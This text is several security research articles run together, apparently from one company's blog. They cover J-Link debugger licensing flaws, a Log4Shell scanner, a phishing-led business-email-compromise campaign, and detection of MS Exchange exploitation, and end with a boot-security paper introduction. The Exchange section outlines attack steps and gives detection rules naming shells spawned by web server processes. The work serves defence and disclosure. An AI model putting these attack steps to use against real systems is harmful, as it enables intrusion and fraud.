In this article, we will be looking into J-Link EDU v10, even though all the vulnerabilities we have found apply to EDU, BASE, and PLUS v10 & v11 as well.
Our research: the milestones
Collecting the info
As with any hardware and software appliance, we should start security analysis from its attacker model. For J-Link, it is quite interesting. While researching the device, we realized that protection mechanisms are aimed at preventing a single scenario: a cloned device works with the original software and firmware and continues to operate even after upgrading to new software versions.
The vendor’s focus is on preventing the mass cloning of devices — that is, creating fake devices that the vendor’s software cannot distinguish and block during future updates. However, protection against unscrupulous users who are happy to work with fixed versions of cracked software is of secondary concern. This makes sense as SEGGER sells only the devices, while the software with all updates is supplied free of charge.
Protection mechanisms cope well with their main task, which is to prevent device cloning. In any case, we have not found any vulnerabilities during our research that enable the creation of such fake devices, which could operate with the original firmware and software. However, we have identified certain flaws that allow some licensing mechanisms to be bypassed.
Digging into J-Link EDU v10
Having disassembled the device (Fig. 2), we found a NXP LPC4322 microcontroller, which implements all the low-level logic, stores embedded licenses, and is controlled from a PC via the USB interface.
There is a debug interface on the printed circuit board that is probably used at the factory for flashing the microcontroller. However, the interface is blocked and cannot be used to connect to the microcontroller and dump the firmware. Of course, this is an intentional measure of protection against those looking to manipulate the device.
Thus, we have found that it is impossible to simply read the firmware from the device via the debug connector. Following a little research into the vendor’s PC software, it became clear that the firmware can be dumped using the J-Link update procedure via USB. After updating the software to a new version and connecting the device to a PC, a dialog box would normally appear prompting to update it.
The firmware can also be forcibly overwritten using the command InvalidateFW. In performing either of these procedures while capturing the USB traffic, we see that the new firmware is transmitted in open, unencrypted form. However, you won’t find this data in the same form in the software folder: firmware is stored in encrypted files, and, in the earlier software versions, firmware was stored in compressed form in JLinkARM.dll. Thus, we have obtained the firmware dump, which opens up opportunities for reverse engineering and research.
A quick analysis shows that the developers have divided the flash memory of the LPC4322 microcontroller into three parts:
The configuration area can be seen in the screenshot (Fig. 3).
Here is how the main firmware and PC software verify that they are working with a genuine device:
When launched, the firmware reads the serial number of the device, the unique ID of the microcontroller and checks the digital signature RSASSA-PSS(SHA1(serial_number + uniq_chip_ID)). While the device serial number and the signature itself are stored in the flash memory, the unique ID is burned in by the microcontroller manufacturer (NXP) during production and cannot be changed. All LPC4322 microcontrollers have their own unique IDs that cannot be overwritten. This way, the serial number and signature of one licensed J-Link device cannot be used to make its clones.
The PC software checks the same digital signature of the device by requesting the microcontroller’s unique ID with a special command. Naturally, this check can be bypassed by “patching” it in the original firmware, but such clones will lose functionality after the first update.
We have established that copy protection is only in place to distinguish genuine devices from clones. The remaining question is: how does the vendor’s software on a PC differentiate between the various licensed devices based on the same platform? It turns out, this is done by an OEM string and a set of embedded licenses. For instance, J-Link EDU has the OEM string SEGGER-EDU and the licenses FlashBP and GDB, whereas J-Link PLUS has an empty OEM string and the following set of licenses: RDI, FlashBP, FlashDL, JFlash, and GDB. When a J-Link is connected to a PC, the software requests the device's digital signature. With a valid signature, the OEM string and the list of licenses that the device returns are considered trusted.
We found some flaws and reported them to the vendor
Flaw 1. The OEM string and the list of embedded licenses do not have a cryptographic signature and are not tied, in any way, to the device serial number. By overwriting this data, a J-Link EDU can be easily converted into a J-Link PLUS.
The OEM string and the list of licenses are stored in the flash memory in the configuration area. Unlike the microcontroller’s unique ID, this memory can be modified.
One of the overwriting options that first comes to mind is to somehow get a dump of the flash memory, add any changes, and then use the built-in ISP in BootROM LPC4322 and the UART interface to erase the flash memory and write the new, manipulated dump into the device. Though, this will require, at the very least, a disassembly of the device.
But there is another way. After several experiments with the firmware update procedure and attempts to make changes to it, it became clear that the firmware has a digital signature that is checked by the device’s bootloader. This is checked using the manufacturer’s public key, which blocks any attempts to modify the firmware. However, there is a command to force update the firmware, InvalidateFW, which works in a rather peculiar way. During its execution, the device receives the firmware where the ASCII string with the compilation date is modified. For example, the string "compiled Mar 21 2019" is changed to "compiled MAR 21 2019". A computer will check the device's firmware version the next time the device is connected, the date in the latter string will be considered invalid, thus, the firmware will be updated to the version that comes with the vendor's software pack. This is done to enable a rollback to an older version of the firmware in case there are problems after the update.
Interestingly, a dump containing an invalid date successfully passes the bootloader signature check and is thereby executed. As we discovered, this is because the first 0x1A0 bytes of the firmware are not signed or checked by the bootloader. Ironically, this area is the most important part of the firmware—it contains interrupt vectors, including the reset vector, which specifies the instruction to begin code execution (Fig. 4).
Flaw 2. Partial coverage of the firmware by a digital signature makes it possible to execute arbitrary code on the device. Using this vulnerability, it is easy to run your own code that would modify the OEM string and the license set. As a demonstration, we have prepared a script that turns a J-Link EDU into a J-Link PLUS in a matter of seconds. We are not going to publish it as we don’t want to encourage piracy, but we’ll show how it works:
To summarize our discoveries, we would like to note that they are not classical memory corruption vulnerabilities, but rather architectural flaws. Such bugs are much more difficult to patch by releasing a security update as this requires a reworking of the existing device operation logic. And sometimes such a fix is not possible at all because that would break backward compatibility. The following aspects make these flaws easy for users to commit piracy:
The exploitation of these flaws does not require device disassembly or PCB soldering manipulations — just a PC and a USB interface will suffice.
The device continues to operate with the original bootloader and firmware.
The device continues to receive firmware updates and continues to be recognized as original (fixed starting from software version v7.58).
The script that replaces the licenses needs to be run only once.
The device can be reverted to its original state at any time without any traces of modification.
Having completed the research, we reported the discovered vulnerabilities to SEGGER. In this communication, we were guided by BI.ZONE Vulnerability Disclosure Policy. SEGGER representatives immediately engaged in a dialogue and promptly prepared and issued a software release that partially fixes the discovered vulnerabilities. The timeline was as follows:
October 25, 2021: BI.ZONE reported the flaws to SEGGER via a technical support form. After SEGGER’s request, we sent the technical details and PoCs to demonstrate the flaws.
October 28, 2021: SEGGER confirmed the flaws.
November 1, 2021: SEGGER informed that a new version of the software was being prepared that would contain partial fixes.
November 5, 2021: SEGGER released software v7.58 that contained the partial fixes.
After our cursory analysis of the new v7.58 release and communication with the manufacturer, we can produce the following summary of the changes made:
Flaw 1 (missing license signatures) has been partially fixed. In the new versions of the software, the list of embedded licenses is checked based on the device model (EDU, BASE, etc.) The device model is determined by its serial number. For example, if the serial number begins with 26 (which corresponds to the J-Link EDU model) and JFlash is found among the embedded licenses, the device is considered counterfeit. The software versions before v7.58 will still treat the device as licensed.
Flaw 2 (arbitrary code execution) has not been fixed and is not planned to be fixed in the updates for v10 and v11. Fixing this vulnerability requires overwriting the bootloader in the devices that have been manufactured and distributed to users. This is a very risky operation, and it also breaks backward compatibility with previous versions of the software. The fixed bootloader, according to SEGGER, will be implemented only in new versions of the debugger.
Possible implications of the flaws. What is at stake?
Here is what can happen because of the problems in the user device security mechanisms.
User piracy
This is quite costly for the manufacturer. A simple way to bypass the licensing system that does not require disassembly of the device can be attractive to a large number of users. After all, a J-Link Plus is roughly 10 times more expensive than a J-Link EDU.
Supply chain attacks
In this case, it is hard to imagine that someone would introduce malicious code into the debugger firmware. Nevertheless, the very example of the incorrect implementation of firmware signature verification is quite revealing. Such flaws allow a malicious code to be implanted into various user devices while they are en route to the end user.
Conclusions
Correct implementation of protection mechanisms is not an easy task, even for engineers with extensive experience. It is important that security features be examined not only by the developer, but also by third-party experts. Some fresh outlook certainly won’t hurt.
An analysis of device architecture and source code will help to identify vulnerabilities as early as in the design stage — when fixing flaws is far easier and cheaper. Unlike software, not all vulnerabilities in embedded systems can be fixed with a patch update. Some of them will remain in the device for its entire service. Thus, a stitch in time saves nine!
A bonus picture of a debugger debugging itself. Watch for free, no registration
Log4Shell is a critical vulnerability in the Log4j logging library, which is used by many Java web applications.
In protecting against the exploit of Log4Shell, you need to know what applications are vulnerable to this attack, which is a rather difficult task. To make things easier, we have developed a special scanner, which is now available on GitHub.
The scanner will help find applications that are using the vulnerable Log4j library.
Log4Shell is a critical vulnerability in the Log4j logging library, which is used by many Java web applications. The exploitation of this vulnerability leads to remote code execution (RCE). The exploit has already been published, and all Log4j libraries as recent as version 2.15.0 can be affected.
Problem. Log4Shell poses a serious risk and requires immediate understanding of how to protect against any attacks exploiting this vulnerability. However, there is no easy way to find out which applications need to be secured.
On the web, you can find the types of affected software. But what if the services within your own organization are using Log4j?
Scanning external service hosts will not provide a clear picture. This is because Log4Shell can manifest itself regardless of what is being logged, a User-Agent header or user entries in a form at any moment after authentication. There is no guarantee that a scanner will detect the vulnerable library, but adversaries could easily come across it.
BI.ZONE solution. We have developed our own scanner that uses YARA rules, which is now deployed on GitHub. It scans the memory of Java processes for Log4j signatures. The scanner functions directly on the host, rather than through the Internet.
The scan output is a list of hosts that contain applications with Log4j, which enables you to personally check if the library version is vulnerable.
If it does turn out to be vulnerable, the BI.ZONE WAF cloud service will help you protect against external attacks using Log4j. It is not going to eliminate the need to install patches, but it will mitigate the risk of successful Log4Shell exploitation.
We are seeing a surge in Business Email Compromise (BEC) attacks. BEC attacks are not new or uncommon, but this wave has caught our attention because of its scale.
Many affected companies have been contacting us since June, and all the attacks share several key patterns.
This article explains how the attackers behind this BEC campaign operate and whether it is possible to mitigate the attack.
BEC attacks
A little digression for those who have never heard of Business Email Compromise attacks.
A BEC attack starts with compromising a corporate email: attackers infiltrate the email accounts of top management, finance department employees or others along the invoice approval chain.
After examining the email correspondence, infiltrators proceed to impersonate the owner of a compromised account. A CEO’s email opens up the possibility to ask the accounting for an urgent money transfer, likewise, a sales manager’s email provides the opportunity to manipulate a customer’s invoice. Another objective of the attack may be to obtain confidential information: the victims feel comfortable sharing this information because they believe they are talking to a person they trust.
Notably, adversaries sometimes avoid using compromised email accounts to remain undetected. Instead, they will register phishing domains which resemble the original domain and communicate from there.
Business Email Compromise is associated with significant financial and reputational risks, and affects all parties involved in the interaction.
Chapter 1, where we are asked to conduct an investigation
We were approached by companies who had lost out on some payments for their goods and services due to invoice fraud. (We will refer to these companies as victims.)
The victims would communicate with their partners by email. When it was time to issue invoices, the partner company somehow received the wrong details. The message appeared to be genuine and stored the entire correspondence history, but the invoice was incorrect. Eventually, the money would end up in the criminals’ accounts.
Since the invoice was tampered with, it is easy to assume a classic man-in-the-middle attack: the attackers intercepted the messages and modified the content to their benefit. But this raises a lot of questions:
How were the attackers able to jump into an email conversation they had not been a part of at an arbitrary point in time?
Why were they able to see the whole message history?
Was it the work of an insider or was it an external adversary?
We started looking into it.
For reasons of NDAs and sheer consideration, we shall not be giving you all the details of the investigation. But we will try to make our case as complete and comprehensible as possible.
Chapter 2, where we test our initial assumptions
We examined several email threads which had been compromised and saw that as soon as payment transfers came up in dialogue, a third party would get involved. No one took notice because the emails were coming from domains which resembled familiar company names, but were in fact phishing. Our team managed to spot this suspicious activity, but that was the whole purpose of us going through the records. However, your average company employee would not raise any suspicion if they see airbuus.com instead of the conventional airbus.com in the middle of a thread, especially if they see the entire message history tailing below.
Having detected email address spoofing, we suspected that we were dealing with a BEC attack.
We extracted all the phishing domains we could and set out to investigate the possible infrastructure used by the attackers. It turned out that the domains we found had identical DNS records:
1. MX record specifies an email processing server. The domains we detected are hosted on mailhostbox.com. An example of an MX record:
<phishing_domain>. 5 IN MX 100 us2.mx1.mailhostbox.com. <phishing_domain>. 5 IN MX 100 us2.mx3.mailhostbox.com. <phishing_domain>. 5 IN MX 100 us2.mx2.mailhostbox.com.
2. NS record indicates which servers a domain is hosted on. The domains we detected are hosted on monovm.com. An example of an NS record:
<phishing_domain>. 5 IN NS monovm.earth.orderbox-dns.com. <phishing_domain>. 5 IN NS monovm.mercury.orderbox-dns.com. <phishing_domain>. 5 IN NS monovm.venus.orderbox-dns.com. <phishing_domain>. 5 IN NS monovm.mars.orderbox-dns.com.
3. TXT record contains an SPF record. An example of a TXT record:
<phishing_domain>. 5 IN TXT "v=spf1 redirect=_spf.mailhostbox.com"
4. SOA record is the initial record for the zone which indicates the location of the master record for the domain, and also contains the email address of the person responsible for the zone. An example of a SOA record:
<phishing_domain>. 5 IN SOA monovm.mars.orderbox-dns.com. <fraud_email>. 2021042001 7200 7200 172800 38400
We’re using <phishing_domain> to hide the phishing domain, similarly, <fraud_email> conceals the email address which the attackers used to register the phishing domain.
Chapter 3, where we assess the scale of the campaign
We got curious about the Mailhostbox + MonoVM hosting combination and decided to look for other domains that could be used in the campaign. For this purpose, we used the internal databases, which include all the domains from www.icann.org, and sampled the domains with the necessary MX, NS and TXT records.
The results were impressive: at the time of analysis, we had 47,532 domains similar to those found in the incident. A total of 5,296 email addresses were used to register them, over half of which were registered with popular email services: Gmail.com, Mail.ru, Yahoo.com, ProtonMail.com, Yandex.ru, Outlook.com and Hotmail.com. One particular email address ([email protected]) had 1403 domains registered to it.
It’s difficult to say whether each one of those 50,000 or so domains were created for a BEC attack. However, we suspect that the vast majority of them were intended precisely for that purpose. We speculate this is the case because of their obvious likeness to famous brand domains:
the-boeings[.]com
airbuus[.]com
airbuxs[.]com
bmw-my[.]com
uksamsung[.]com
a-adidas[.]com
giorgioarmani-hk[.]com
Mass registration of such domains began in the second half of 2020: more than 46,000 domains have been registered since July 2020. The registration rate peaked in the summer of this year as more than 5,000 domains were registered in June alone:
Chapter 4, where we map out what happened
Using the email field from the SOA record as an indicator for a particular campaign, we compiled a list of domains registered by the attackers for each of the victims who reached out to us.
We got two types of domains:
Some were already familiar, we had come across them in the victims’ correspondence with their partners.
Others were new and seemed to bear no resemblance to the domains of the victims or the partners. In the context of a BEC attack, we assumed that these domains had been used to compromise the emails. This was confirmed when we found that some of these addresses had been used to deliver phishing emails to the victims.
This is how we established the vector of intrusion.
The attackers approached potential victims with an offer to do business, be it long term or short term contracts. The request was sent via a feedback form on the company’s website or to publicly available group addresses ([email protected], etc., where example.com hides the name of a real organisation). The plan was to have an employee respond to the request from their corporate email account.
After getting a response from an employee, the attackers sent them a phishing email. The body of the email contained a phishing link that supposedly led to a page for downloading some documents: an agreement, a data sheet, a purchase order, etc. The download feature required the employee to enter their password to log into their email, a prior notice of this requirement was given in the actual email, citing confidentiality requirements. After entering the password, of course, no documents were downloaded, but the attackers had the data to access the email account.
The phishing links had a rather specific format: hxxps://pokajca[.]web[.]app/?x1=<victim_email>. First, the x1 parameter in the URLs passed the value of the phishing recipient's email (we've masked it using <victim_email>). In order to appear more credible, the message asking for the email password displayed the recipient's email when opening the phishing page. Secondly, the links were created using servlet services like netlify.app, cloudflare.com or similar. Finally, the phishing pages had almost no static content and the content was generated using JS scripts, which made such pages much harder for spam filters to detect.
If the response to the original request came not from an employee’s unique address, but from a publicly available one, the attackers would still use it to send phishing emails. This is confirmed by phishing links from our internal databases containing addresses like [email protected] or [email protected] in the x1 parameter.
In total, we detected more than 450 phishing links of this kind in our internal databases. They were disguised as Dropbox, Microsoft SharePoint, OneDrive, Adobe PDF Online and other file sharing resources:
Chapter 5, where we detail the geography of the campaign
We extracted user email addresses from all the links we found and matched them with company names.
Our databases contain only a fraction of all phishing links, so we were far from having an exhaustive list of potential victims. But even this data suggests that a wave of attacks is sweeping the globe.
Analysis shows that at least 200 companies from various countries were targeted by this BEC campaign. The potential victims were manufacturers, distributors, retailers and suppliers of various goods and services. In simple terms, this campaign targeted everyone who signs contracts with customers and partners for whatever products or services.
The area of distribution is all continents excluding Antarctica. The majority of potential victims are organisations from Europe, Asia and North America (55.6%, 24.0% and 14.8% respectively):
Chapter 6, where we answer any remaining questions
When we received the first account spoofing reports, we wondered how the attackers managed to enter the dialogue at exactly the right moment and retain the entire correspondence. Having established the infiltration vector, we successfully solved these mysteries.
After a successful phishing incident that gave the attackers access to the victim’s email, the BEC attack evolved along two different paths.
The first option required good coordination:
The attackers read the victim’s correspondence with their customers and partners.
After noticing that the conversation was slowly getting to payment issues, the cybercriminals forwarded the required message with the entire story to Phishing address 1 (P1), which is similar to the victim’s address.
From P1, the criminals would write to the victim’s partner.
The partner would reply to P1.
The attackers would then set in motion Phishing address 2 (P2), now similar to the partner’s address. An email that the partner sent to P1 was forwarded to the victim using P2.
The victim simply responded to P2.
Finally, the cycle was complete: the victim wrote to P2, the partner wrote to P1, and the attackers forwarded their emails to each other. The corporate habit of replying to all further increased the chances of a successful attack. By becoming facilitators of sorts, the attackers could easily substitute the invoice in the forwarded email at the right time.
The second, more advanced, option involved setting up email forwarding rules. More recently, Microsoft wrote about a similar BEC campaign: if the words ‘payment’, ‘invoice’ and the like appeared in the email body, the email was not sent to the address specified by the victims, but rather to the attackers.
The attack then proceeded along the route described above.
The interaction process in both cases looked like this:
Conclusion
BEC attacks are insidious. The only way to protect yourself from the attack described in our article is to ensure that the phishing campaign does not succeed. This is where email spam filters and employee trainings come in handy. There are two other practices which could be very effective for large companies: to register domains that look like the official one so that they do not get registered by the criminals sooner; and to monitor the appearance of domains that look like the official one so that illegitimate ones can be blocked via registrars and hosting providers.
If an email compromise does occur, it will be virtually impossible to prevent a BEC attack from happening: the parties involved in the correspondence are likely to have developed a natural trust for each other, and upon receiving a seemingly normal email (with the whole thread!), the victims would not even think to check the sender’s address. To make matters worse, phishing domains are often a homoglyph, making it difficult for even an experienced security professional to spot the presence of a stranger in the midst.
Our previous article focused on the different techniques used to detect ProxyLogon exploitation. This time we will talk about the techniques used to detect other notorious MS Exchange Server vulnerabilities, namely CVE-2020–0688, CVE-2020–16875 and CVE-2021–24085.
Although these vulnerabilities are not as recent as ProxyLogon, we continue to find signs of their exploitation (including successful exploitation). The sooner an exploitation attempt is detected, the more likely it is to minimise or avoid the impact of the attack on the organisation.
Logs and Useful Events
We will use the previously mentioned MS Exchange and Windows logs as event sources.
Detecting Exploitation of CVE-2020–0688
The CVE-2020–0688 vulnerability is contained in the Exchange Control Panel (ECP) component and is related to the the server being unable to properly create unique cryptographic keys because the keys are not randomly generated but are preset with identical values. If we examine the content of the ECP settings in the web.config file from C:\Program Files\Microsoft\Exchange Server\<Version Number>\ClientAccess\ecp, we see that the validationKey and decryptionKey values are already set. These keys are used to secure the ViewState parameter.
One of the articles on the Microsoft website describes the ViewState parameter as follows:
On the ASP.NET pages View State presents the state of the page when it was last processed on the server. This parameter is used to create a call context and store values in two consecutive requests for the same page. By default, the state is saved on the client using a hidden field added to the page and restored on the server before the page request is processed. View State moves back and forth with the page itself, but does not represent or contain any information relating to the display of the page on the client side.
As such, pre-shared keys allow an authenticated user to send a deliberate ViewState parameter to the ECP application, which when deserialised will cause malicious code to be executed on the Exchange server in the context of System.
The ysoserialutility which exploits insecure deserialisation in .NET applications can help us create a malicious object.
Below is an example of ViewState generation, its payload in turn runs whoami.
The validationkey and generator parameters, as described earlier, are preset and cannot be changed. The viewstateuserkey value must be taken from the ASP.NET_SessionId value of the user authorised on the ECP service.
Once the ViewState has been generated, a request is sent to the vulnerable ECP service, resulting in the server returning an error code 500.
If you run the request through the BurpSuite utility, you can see in the ViewState decoder that the payload is passed in the <System> tag along with other user parameters:
If the vulnerability is successfully exploited, the w3wp.exe process responsible for the ECP (MSExchangeECPAppPool) will execute the payload transferred in the ViewState parameter. Below is the correlation rule to detect cmd.exe commands or the PowerShell interpreter being executed by a w3wp.exe web server process:
event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\w3wp.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')
The IIS access logs contain a request for the URL /ecp/default.aspx to which the server responded with status 500 (internal server error). Below is the rule for detecting the exploitation of CVE-2020-0688 using IIS events:
event_log_source:’IIS’ AND http_method=’GET’ AND http_status_code=’500’ AND url_path=’/ecp/default.aspx’ AND url_query contains ‘__VIEWSTATEGENERATOR’ AND hurl _query contains ‘__VIEWSTATE’
The Application log contains an event which indicates an error in the MSExchange Control Panel application with Event ID = 4.
Below is the rule for detecting CVE-2020–0688 exploitation using Application log events:
event_log_source:’Application’ AND event_id=’4’ AND (Message contains ‘__VIEWSTATE’)
Detecting Exploitation of CVE-2020–16875
Successful exploitation of the CVE-2020–16875 vulnerability allows an attacker to execute arbitrary code on the Exchange server in the context of the System user. The attacker can then escalate their domain privileges and compromise the entire company network.
Successful authentication requires a domain account from a corporate mailbox that is a member of a group with Data Loss Prevention (DLP) privileges. The exploitation itself is done through the DLP component. DLP is configured through the ECP interface. The DLP engine allows you to filter mail flow according to predefined patterns and rules for content analysis of emails and attachments.
Since we already know that in order for the exploit to succeed, the attacker must be a member of the DLP group, a rule can be implemented to create a new group with the Data Loss Prevention role, and a new user can be added to that group. This can be done from either the ECP interface or from the Exchange Management Shell using the following commands:
New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "user1" (create group dlp users with role Data Loss Prevention and add user1 to the group);
Update-RoleGroupMember -Members "dadmin" -identity "dlp users" (add dadmin to group dlp users).
The screenshot below shows the event of adding the user dadmin to the group using the ECP interface. This activity can also be traced back to PowerShell audit events (Event ID 800 and 4104).
The new Data Loss Prevention creation event can be dected in PowerShell and MSExchange Management log events using the following rule:
Use the rule below to track down events of Data Loss Prevention rights being issued using PowerShell audit events and MSExchange Management logs:
event_log_source:('PowershellAudit' OR 'MSExchange Management') AND event_id:('1' OR ’800’ OR '4104') AND ((Message contains ‘New-RoleGroup’ AND Message contains ‘Data Loss Prevention’) OR (Message contains ‘Update-RoleGroupMember’ AND Message contains ‘<Group with DLP rights>’ AND Message contains '-Members'))
The exploit for this vulnerability performs the following steps in sequence:
Authenticate under a given account to retrieve a session through OWA.
Obtain the ViewState parameter by accessing the DLP policy management functionality.
Add a new malicious DLP policy that contains an executable command that runs from PowerShell.
Let’s run the utility and see what the Exchange events look like. Below you can see that the exploit run under the dadmin account was successful.
The access logs of ECP contain an event of a new DLP policy being successfully added:
The rule to create a new DLP policy using IIS events:
event_log_source:’IIS’ AND http_method=’POST’ AND http_code='200' AND url_path='/ecp/DLPPolicy/ManagePolicyFromISV.aspx'
To exploit the vulnerability, we have to create a new policy, this will come up in the MSExchange Management log as a new event with a random name that contains a malicious payload in the TemplateData parameter:
The creation of a new DLP policy can be dected in PowerShell and MSExchange Management log events using the following rule:
event_log_source:('PowershellAudit' OR 'MSExchange Management') AND event_id:('1' OR ’800’ OR '4104') AND (Message contains ‘New-DlpPolicy’ AND Message contains '-TemplateData')
The exploition of this vulnerability launches Notepad. Looking at the process start events in the Security log, we see that the Notepad process is initiated by the parent process w3wp.exe with System privileges.
Use the rules above to detect a successful exploitation of the CVE-2020–16875 vulnerability:
event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\w3wp.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')
Another variant of the PowerShell exploit has similar logic and performs the following actions:
It creates a remote PowerShell session using the PowerShell component of the Exchange server. The account attempting the connection must have the Data Loss Prevention role.
2. It creates a new policy using the New-DlpPolicy commandlet. The payload is stored in the variable $xml:
Below is the result of running the PowerShell exploit, successfully connecting as user1 with no privileges and running the whoami command with System privileges.
The rule that detects this activity is as follows:
event_log_source:’IIS’ AND http_method=’POST’ AND url_path='/powershell' AND (Message contains ‘serializationLevel=Full AND Message contains 'clientApplication=ManagementShell') AND user_agent='Microsoft+WinRM+Client'
The Security log detects a successful start of the whoami process with w3wp.exe as the parent process. Execution of the New-DlpPolicy command can be detected in the PowerShell audit log using one of the previously mentioned rules.
Detecting Exploitation of CVE-2021–24085
The process for exploiting CVE-2021–24085 is more complex. The following steps are required to execute the attack successfully:
Compromise an arbitrary domain account that has a mailbox.
Use the ECP interface to export the certificate.
Using the certificate obtained, generate a CSRF token, aka the msExchEcpCanary parameter.
Get the Exchange administrator to go to the attacker’s malicious page, which will send a request to the Exchange server with the preset token value on behalf of the administrator.
A successful exploitation would allow the attacker to escalate their privileges to Exchange administrator.
A GitHub project can be used to implement the attack, where the poc.py file is responsible for obtaining the certificate that will be used to generate the CSRF token.
YellowCanary — a project coded in C# that is responsible for generating the token.
Poc.js— the JavaScript payload placed by the attacker on a monitored web server designed to lure the Exchange administrator.
The screenshot below shows that the poc.py script has successfully exported the certificate to the testcert.der file.
An ECP access-log event that contains traces of a certificate being saved:
The certificate is saved in the Exchange server file system — in the poc.png file located in the IIS directory and then downloaded successfully using the same poc.py script.
In this way, we can implement a rule that detects the event of a certificate export in the IIS access logs:
event_log_source:’IIS’ AND http_method=’POST’ AND http_code='200' AND url_path='/ecp/DDI/DDIService.svc/SetObject' AND (Message contains 'schema=ExportCertificate')
Once the certificate is obtained, the attacker uses the YellowCanary utility to generate the msExchEcpCanary parameter needed to implement the CSRF attack. The first parameter is the SID of the user on whose behalf we want to perform an action on the ECP:
The attacker must then trick a privileged user (ideally an Exchange administrator) into clicking on a prepared link containing the malicious JavaScript code. This code can send requests to the ECP on behalf of the administrator. This could, for example, be used to exploit the CVE-2021–27065 vulnerability, which we covered in the previous article. As a result, the attacker would gain access to the Exchange server with System privileges via the downloaded web shell.
In addition to the above technique, this attack can be performed by adding a malicious MS Outlook add-in, an application that provides users with advanced capabilities.
There are three ways to add an Outlook add-in:
Add via the URL where the add-in is located.
Download from the Office Store.
Download a new add-in from file.
The add-in is an XML format configuration file. An attacker can create a malicious config that will, for example, forward the contents of client emails to an attacker’s controlled server. The /ecp/Handlers/UploadHandler.ashx interface is used to upload the config file.
Below is a snippet of the JavaScript code that will be executed by the Exchange administrator after being redirected to the attacker’s website. This code fetches the content of the malicious evil.xml add-in, which is also located on the attacker's website, and sends it with a POST request to /ecp/Handlers/UploadHandler.ashx. The msExchEcpCanary parameter contains the CSRF token that was generated in the previous step. It is also worth keeping in mind that when the administrator accesses the attacker's website, their ECP session must still be active.
The following rule can be used to detect the loading of an add-in:
event_log_source:’IIS’ AND http_method=’POST’ AND http_code='200' AND url_path='/ecp/Handlers/UploadHandler.ashx'
Conclusion
The vulnerabilities discussed in this article are still being exploited today. Most of the time they are unsuccessful, but there are exceptions. Collecting significant security events and implementing detection rules will allow you to react to a possible attack in time to eliminate the fallout from the incident at an early stage.
In the next article, we will talk about Windows domain privilege escalation vectors through the MS Exchange server and how to detect them.
There are two major concepts for boot security: verified boot and measured boot.
The verified boot process ensures that components not digitally signed by a trusted party are not executed during the boot. This process is implemented as Secure Boot, a feature that blocks unsigned, not properly signed, and revoked boot components (like boot managers and firmware drivers) from being executed on a machine.
The measured boot process records every component before executing it during the boot, these records are kept in a tamper-proof way. This process is implemented using a Trusted Platform Module (TPM), which is used to store hashes of firmware and critical operating system (OS) components in a way that forbids changing these hashes to values chosen by a malicious program (later, these hashes could be signed and sent to a remote system for health attestation).
Both concepts can be implemented and used either separately or simultaneously. Some technical details about these concepts and their Windows implementation can be found in other sources [1][2].
Four more concepts are known: post-boot verification, booting from read-only media, booting from a read-only volume (image), and pre-boot verification.
Post-boot verification is performed by a program launched after the boot process has been completed or at its late stages. Such a program verifies the integrity of previously executed operating system components and their configuration data. Obviously, malware already running at a higher privilege level can completely hide itself from this type of verification: for example, by intercepting file read requests and controlling file data returned to the requesting program.
Still, it could be used as a defense-in-depth measure by anti-malware software, endpoint detection and response solutions, and cryptographic components.
Booting from read-only media is sometimes used to get an immutable, known good environment, while assuming the safety of an entire pre-OS environment, which includes Basic Input/Output System (BIOS) and Unified Extensible Firmware Interface (UEFI). If a malicious program is embedded into a pre-OS environment, the whole approach gets compromised.
The usage of live distributions for online banking was proposed many years ago [3]. Currently, there are similar proposals for using live distributions to enhance security when working from home. The concept performs perfectly against “traditional” malware, thus protecting against most (but not all) malware-related threats.
It’s also possible to trick an operating system booting from removable media into automatic (requiring no user interaction) execution of code stored on attached non-removable media. This could be achieved during the transition to own (native) storage drivers from BIOS/UEFI functionality used to read data from a boot drive. For more details about this and similar code execution issues, see my past work [4].
Booting from a read-only volume (image) is a similar concept, but only immutable operating system files are stored in a read-only volume (image). Technically, this volume (image) can be modified, but its integrity is validated using a hash or a hash tree. This hash or the root hash of this tree is signed and validated by a hardware-protected root of trust (so, this approach is linked to an existing verified boot implementation). More technical details can be found in another source [5].
Pre-boot verification is a lesser-known technique¹. Typically, it is implemented as a Peripheral Component Interconnect (PCI) device or as a custom UEFI image. Before launching a boot loader found on a boot drive, the verification process checks the integrity of hardware configuration, exposed firmware memory, executable files, and other data (like registry keys and values of a Windows installation).
Originally, this was implemented as a PCI device with option read-only memory (option ROM) containing initialization (pre-OS) code that installs a breakpoint at the location of the first instruction of a boot loader. When this breakpoint is hit, a custom operating system is launched from the memory of that PCI device. Then, this custom operating system parses file systems found on the attached drives and performs the verification process (a list of known good hashes is stored in the memory of the PCI device or on a system drive with its integrity verified). If the verification succeeds, the original boot loader gets executed, launching the verified operating system.
Current implementations move away from PCI devices to providing custom UEFI images or shipping motherboards with such custom UEFI images. These custom UEFI images contain parsers necessary for the verification process. Additionally, there is one implementation based on a USB drive, which must be configured as a boot device (instead of a drive to be verified, so there is no need to break into the boot process using a breakpoint or an addon to the BIOS/UEFI environment, assuming that a user won’t change the boot order).
This approach has limited capabilities to verify the integrity of firmware, including BIOS and UEFI, but the usage of a custom UEFI image moves the trust boundary, including most firmware into the area to be trusted by security design.
Another shortcoming is that it is nearly impossible to produce the same file system and Windows registry parsing code as found in the official Windows implementations. Typically, when Linux users mount an NTFS file system, they see the same directory layout and the same file contents as Windows users exploring exactly the same file system. However, there are edge cases and file system drivers that can behave differently, giving back different data (while the raw data, which is actually stored on a drive, is the same). This also applies to the official and third-party Windows registry implementations.
For example, most pre-boot verification products have no support for Windows registry transaction log files. This means that malware running at the kernel level can introduce modifications to registry keys and values that would be unnoticed by the pre-boot verification (because transaction log files are simply ignored). Since the Windows kernel fully supports transaction log files, these changes will be visible to the operating system during and after the boot. This attack has been explained in detail in my past work [6].
The verified and measured boot processes are expected to be immune to such attacks because they verify and measure code and data just before using them. If, for any reason, a file to be executed produces different hashes depending on a file system driver used to read that file, this would not affect security because the file is verified/measured and then executed using the same driver (a hash computed during the verification/measurement will match the file contents read for its execution). In other words, the same implementation is utilized to verify/measure data and then, immediately, use it (technically speaking, this could be the same memory buffer used to verify/measure data and use it).
But this is not always the case!
This paper will focus on two vulnerabilities discovered in the measured boot implementation found in the Windows loader (winload.exe or winload.efi), both highlight a longstanding problem of validating data and code in separate software components.
¹Unless you live in Russia, where trusted boot modules described here are required by certain regulatory bodies for multiple usage scenarios.
